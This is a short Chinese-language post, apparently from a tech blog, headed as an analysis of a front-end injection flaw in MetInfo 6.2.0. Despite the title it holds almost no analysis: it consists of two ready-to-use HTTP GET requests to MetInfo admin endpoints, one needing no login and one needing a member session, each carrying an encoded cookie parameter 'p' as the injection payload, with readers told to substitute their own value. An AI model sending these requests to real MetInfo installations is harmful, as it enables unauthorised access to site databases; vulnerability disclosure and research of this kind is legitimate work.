漏洞分析丨metinfo 6.2.0最新版本前台注入分析

payload

这里有两个，一个是不需要登陆就可注入，另一个是coolcat表哥所说的需要以会员登陆。以下请自行替换p参数。

1、不需要登陆

代码语言：javascript复制

GET /admin/index.php?n=user&m=web&c=register&a=doemailvild HTTP/1.1
Cookie: p=00c7/DBwD23b41olxVCthTvDDTRBhldmrrdyA8S3t/3yAl4QZ0P/SfOS5zlB

2、 需要登陆

代码语言：javascript复制

GET /admin/index.php?n=user&m=web&c=profile&a=dosafety_emailadd HTTP/1.1
Cookie: p=497cD9UpkDtsvFzU9IKNlPvSyg1z+f09cmp8hqUeyJW9ekvPfJqx8cLKFSHr;<自行添加登陆后的cookie>

安全漏洞

0 人点赞